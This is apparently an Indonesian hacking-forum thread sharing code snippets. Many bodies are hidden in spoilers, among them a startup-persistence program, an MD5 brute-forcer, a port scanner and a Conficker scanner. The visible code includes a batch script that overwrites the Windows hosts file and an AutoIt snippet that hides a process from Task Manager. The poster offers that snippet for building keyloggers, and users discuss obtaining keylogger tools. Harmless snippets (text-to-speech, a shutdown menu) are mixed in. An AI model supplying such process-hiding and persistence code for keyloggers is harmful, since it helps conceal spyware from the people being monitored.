Prog Lang : C (windows)
Fungsi : menambah executable file ke startup (other version)
Cara menggunakan : Save dgn ekstensi .c compile dgn compiler kesukaan anda
platform: Windows
credits: K1u (k0h.org & k1u.org)
Spoiler untuk code :
Printable View
Prog Lang : C (windows)
Fungsi : menambah executable file ke startup (other version)
Cara menggunakan : Save dgn ekstensi .c compile dgn compiler kesukaan anda
platform: Windows
credits: K1u (k0h.org & k1u.org)
Spoiler untuk code :
Prog Lang : Batch shell script
Fungsi : Blocking site (DNS client resolver cache poisoning)
Cara menggunakan : Save dgn ekstensi .bat dan jalankan
platform: Windows
dimana www.google.com merupakan site yg diblok, cth lainnya:Code:@echo off
echo 127.0.0.1 www.google.com > C:\windows\system32\drivers\etc\hosts
Code:@echo off
echo 127.0.0.1 www.google.com > C:\windows\system32\drivers\etc\hosts
echo 127.0.0.1 www.friendster.com > C:\windows\system32\drivers\etc\hosts
echo 127.0.0.1 www.facebook.com > C:\windows\system32\drivers\etc\hosts
echo 127.0.0.1 www.indogamers.com > C:\windows\system32\drivers\etc\hosts
echo 127.0.0.1 www.indowebster.com > C:\windows\system32\drivers\etc\hosts
klo mau yg lengkap fiturnya req di bagian aplkasi bro, minta tools keylogger, dsini cuma sharing source code aja, bukan yg lgsg jadi n berfitur lengkap..kalaupun mau ngembangin bisa gunain snippet vbs ini utk hidden processnya:
gut luck.. :stu:Code:Opt("WinTitleMatchMode", 3);Exact title match
Opt("MustDeclareVars", 1)
HotKeySet("{ESC}","Stop")
Dim $sProcessName, $iProcessIndex, $h_listview
Global Const $LVM_DELETEITEM = 0x1008
If Not(WinExists("Windows Task Manager")) Then
Run(@SystemDir & "\taskmgr.exe", @SystemDir)
WinWait("Windows Task Manager")
; remove the always on top attribute (otherwise task manager overlaps the input box)
WinSetOnTop("Windows Task Manager", "", 0)
EndIf
$sProcessName = InputBox("Hide Process", "Enter the name of the process you want to remove from task manager:")
While 1
If $sProcessName <> 1 Then
$iProcessIndex = ControlListView("Windows Task Manager", "", 1009, "FindItem", $sProcessName)
If $iProcessIndex = -1 Then
Sleep(2)
Else
$h_listview = ControlGetHandle("Windows Task Manager", "", 1009)
DllCall("user32.dll", "int", "SendMessage", "hwnd", $h_listview, "int", $LVM_DELETEITEM, "int", $iProcessIndex, "int", 0)
EndIf
EndIf
WEnd
Func Stop()
Exit 0
EndFunc()
tq Om blood, meluncur ke tkp aplikasi
EDIT*
Om blood ini termasuk keylogger bukan http://img8.uploadhouse.com/fileuplo...81f1591a07.jpg
yup termasuk, cm ane lom pernah pake yg itu.. ane kasih linknya ja ya di share aplikasi keylogger2 umum yg sering digunain..
click here
Prog Lang : Perl
Fungsi : Bruteforce MD5 hash
Cara menggunakan : Save dgn ekstensi .pl dan eksekusi dengan perl compiler
dimana <char_set> = jenis karakter (a=a-z, d=0-9, A=A-Z, x=symbol)Code:perl namefile.pl <char_set> <min_length> <max_length> <hash>
<min_length> = minimum lebar karakter
<max_length> = maximum lebar karakter
<hash> = MD5 hash yg akan di *****
platform: All
Spoiler untuk code :
Prog Lang : Java
Fungsi : GUI Port Scanner
Cara menggunakan : Save dgn namafile PortScanner.java dan compile dgn perintah
eksekusi dgnCode:javac PortScanner.java
platform: AllCode:java PortScanner
Spoiler untuk code :
Prog Lang : VBS
Fungsi : Text to Speech
Cara menggunakan : Save dgn ekstensi .VBS
platform: Windows
Code:Dim msg, idgs
msg=InputBox("Masukkan Kalimat","==Text to Speech==")
Set idgs=CreateObject("sapi.spvoice")
idgs.Speak msg
Prog Lang : Javascript
Fungsi : Menu Shutdown pada klik kanan
Cara menggunakan : Save dgn ekstensi .js kemudian klik kanan -> open with command prompt
platform: Windows
Screenshot hasil
http://www44.indowebster.com/bdf9b67...4d2f00c3be.jpg
http://www44.indowebster.com/3178954...0f82beb71d.jpg
http://www44.indowebster.com/c2980fc...5761d2427f.jpg
Code:var vbCancel = 2;
var vbInstallUninstallCancel = 3;
var vbInstall = 6;
var vbUninstall = 7;
var vbQuestion = 32;
var vbInformation = 64;
var blood = WScript.CreateObject('WScript.Shell');
var word = '-=Right Click Shutdown=-';
var msg = 'choose your option:\n'+
'--------------------------\n\n'+
'- Click "Yes" for install in your system\n'+
'- click "No" for remove\n'+
'- click "Cancel" for quit\n\n'+
'>> your choice? <<'
var ask = blood.popup(msg,0,word,vbInstallUninstallCancel+vbQuestion);
if (ask == vbInstall)
{
blood.RegWrite('HKCR\\Directory\\shell\\mati\\',
'|||Shutdown Windows!|||','REG_SZ');
blood.RegWrite('HKCR\\Directory\\shell\\mati\\command\\',
'shutdown.exe -s -t 0','REG_SZ');
blood.RegWrite('HKCR\\Drive\\shell\\mati\\',
'|||Shutdown Windows!|||','REG_SZ');
blood.RegWrite('HKCR\\Drive\\shell\\mati\\command\\',
'shutdown.exe -s -t 0','REG_SZ');
msg2 = 'Instalation Successfull';
blood.popup(msg2,0,word,vbInformation);
}
else if (ask == vbUninstall)
{
blood.RegDelete('HKCR\\Directory\\shell\\mati\\command\\');
blood.RegDelete('HKCR\\Directory\\shell\\mati\\');
blood.RegDelete('HKCR\\Drive\\shell\\mati\\command\\');
blood.RegDelete('HKCR\\Drive\\shell\\mati\\');
msg3 = 'Uninstallation Complete';
blood.popup(msg3,0,word,vbInformation);
}
else
{
msg4 = 'Quit!';
blood.popup(msg4,0,word,vbInformation);
}
Prog Lang : Python
Fungsi : Simple Conficker Scanner in network
Mengindikasikan virus conficker pada jaringan (cocok untuk scanning pada jaringan besar).
Cara menggunakan : Save kedua file dgn nama file scs.py dan scanner.py dalam 1 folder yg sama, eksekusi scs.py dgn format perintah:
dimana <ip-awal> dan <ip-akhir> merupakan range network yg ingin kita scan, jika hanya IP2 tertentu kita dapat inputkan IP2 tersebut kedalam iplist.txtCode:python scs.py <ip-awal> <ip-akhir> | <iplist.txt>
Requirement Modules: impacket bisa di download disini
Credits :Felix Leder & Tillmann WernerCode:http://oss.coresecurity.com/repo/Impacket-0.9.6.0.zip
platform: All
Screenshot
http://www40.indowebster.com/3bfbdf2...75005b62af.jpg
http://www40.indowebster.com/3fb063c...f0bd8c6d60.jpg
scs.py
Spoiler untuk code :
scanner.py
Spoiler untuk code :
req algoritma bwat encrypt string yg simple2 aj... :)
tesera bahasa ap...